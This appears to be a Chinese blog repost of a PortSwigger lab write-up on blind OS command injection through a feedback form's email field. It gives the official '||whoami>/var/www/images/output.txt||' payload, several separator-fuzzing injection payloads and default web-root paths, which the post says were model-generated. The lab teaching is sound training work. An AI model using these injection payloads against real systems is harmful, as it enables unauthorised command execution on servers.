当前位置: 首页 > news >正文

PortsWiggerLab: Blind OS command injection with output redirection

实验目的

This lab contains a blind OS command injection vulnerability in the feedback function.

The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at:

/var/www/images/

The application serves the images for the product catalog from this location. You can redirect the output from the injected command to a file in this folder, and then use the image loading URL to retrieve the contents of the file.

To solve the lab, execute the whoami command and retrieve the output.

官方WP

  1. Use Burp Suite to intercept and modify the request that submits feedback.
  2. Modify the email parameter, changing it to:

    email=||whoami>/var/www/images/output.txt||
  3. Now use Burp Suite to intercept and modify the request that loads an image of a product.
  4. Modify the filename parameter, changing the value to the name of the file you specified for the output of the injected command:

    filename=output.txt
  5. Observe that the response contains the output from the injected command.

实验步骤

  • 进入实验室,点击右上角的`Submit feedback`

  • 在反馈表中填入相关信息

  • 使用Yakit进行抓包

  • 针对email参数进行RCE命令注入FUZZ

  • 将请求id从小到大排序,观察延迟突然变大的请求

由上图可见,从第8个请求到第9个请求延迟增长跨度大,因此该Payload很可能为有效RCE的间隔符

  • 提取出疑似有效Payload

email=test%40test.com%0Aping+-c+5+127.0.0.1;

email=test%40test.com;ping+-c+5+127.0.0.1;

email=test%40test.com|ping+-c+5+127.0.0.1;

email=test%40test.com;ping+-c+5+127.0.0.1||

email=test%40test.com||ping+-c+5+127.0.0.1||

email=test%40test.com||ping+-c+5+127.0.0.1|

email=test%40test.com;ping+-c+5+127.0.0.1%0A

email=test%40test.com||ping+-c+5+127.0.0.1%0A

  • 单独取出Payload进行测试可见email参数处确实存在RCE漏洞

  • 尝试直接执行whoami发现无回显

  • 尝试RCE直接通过DNSLOG外带发现不出网,那就尝试RCE写文件。接下来需要针对Apache、Nginx、IIS等常见Web服务器类型进行不同路径的写入尝试

一、Apache HTTP Server

1. Linux/macOS
  • 默认网站目录
    • Ubuntu/Debian:/var/www/html
    • CentOS/RHEL:/var/www/html
    • macOS:/usr/local/var/www
  • 配置文件
    • Ubuntu/Debian:/etc/apache2/apache2.conf
    • CentOS/RHEL:/etc/httpd/conf/httpd.conf
    • macOS:/usr/local/etc/apache2/2.4/httpd.conf
2. Windows
  • 默认网站目录C:\Apache24\htdocs
  • 配置文件C:\Apache24\conf\httpd.conf

二、Nginx

1. Linux/macOS
  • 默认网站目录
    • Ubuntu/Debian:/var/www/html
    • CentOS/RHEL:/usr/share/nginx/html
    • macOS:/usr/local/var/www
  • 配置文件
    • Ubuntu/Debian:/etc/nginx/sites-available/default
    • CentOS/RHEL:/etc/nginx/conf.d/default.conf
    • macOS:/usr/local/etc/nginx/nginx.conf
2. Windows
  • 默认网站目录C:\nginx\html
  • 配置文件C:\nginx\conf\nginx.conf

三、IIS(Internet Information Services)

Windows(所有版本)
  • 默认网站目录C:\inetpub\wwwroot
  • 配置文件
    • IIS 7+:%WINDIR%\System32\inetsrv\config\applicationHost.config
    • 管理工具:通过 “Internet Information Services (IIS) 管理器” 图形界面修改

PS:以上信息由大模型直接生成

  • 观察到实验室主页存在大量图片,尝试直接查找这些图片URL

  • 使用新建标签页打开任意图片

  • 尝试直接构造命令将文件写入`/var/www/images`目录中

  • 尝试直接访问test.txt文件发现成功写入

  • 尝试直接读取当前用户名

  • 完成该实验

http://www.dtcms.com/a/274568.html

相关文章:

  • 2D下的几何变换(C#实现,持续更新)
  • linux获取NTP方式
  • ubuntu22默认安装firefox使用snap安装还老打不开解决办法
  • 【Spring】拦截器详解
  • jenkins部署springboot+Docker项目
  • Playwright Python 教程:网页自动化
  • xAI发布Grok4+代码神器Grok4 Code,教你如何在国内升级订阅SuperGrok并使用到Grok4教程
  • 信号量机制
  • 【机器学习】保序回归平滑校准算法
  • 设计模式(结构型)-适配器模式
  • 深度学习入门教程(三)- 线性代数教程
  • 使用you-get命令下载视频/音频/图像
  • Primer Premier 5分子生物学引物设计软件 PCR引物设计工具
  • 【读代码】开源音乐分离工具Spleeter
  • RabbitMQ 之顺序性保障
  • Java大厂面试故事:谢飞机的互联网医疗系统技术面试(Spring Boot、MyBatis、Kafka、Spring Security、AI等)
  • c++——浅拷贝和深拷贝、浅赋值和深赋值
  • 动态组件和插槽
  • mysql 锁介绍
  • 分布式系统高可用性设计-负载均衡与容错机制深度解析
  • 2025年DevSecOps工具全景图:安全左移时代的国产化突围
  • AGX Xavier 搭建360环视教程【二、环境配置】
  • 【JMeter】执行系统命令
  • git restore
  • Java项目中图片加载路径问题解析
  • 多线程Java
  • Leaflet面试题及答案(1-20)
  • 《汇编语言:基于X86处理器》第7章 整数运算(2)
  • Ubuntu 22.04 Server 虚拟机初始化配置与优化指南
  • 用Python制作抖音风格短视频:从图片到精美视频的完整指南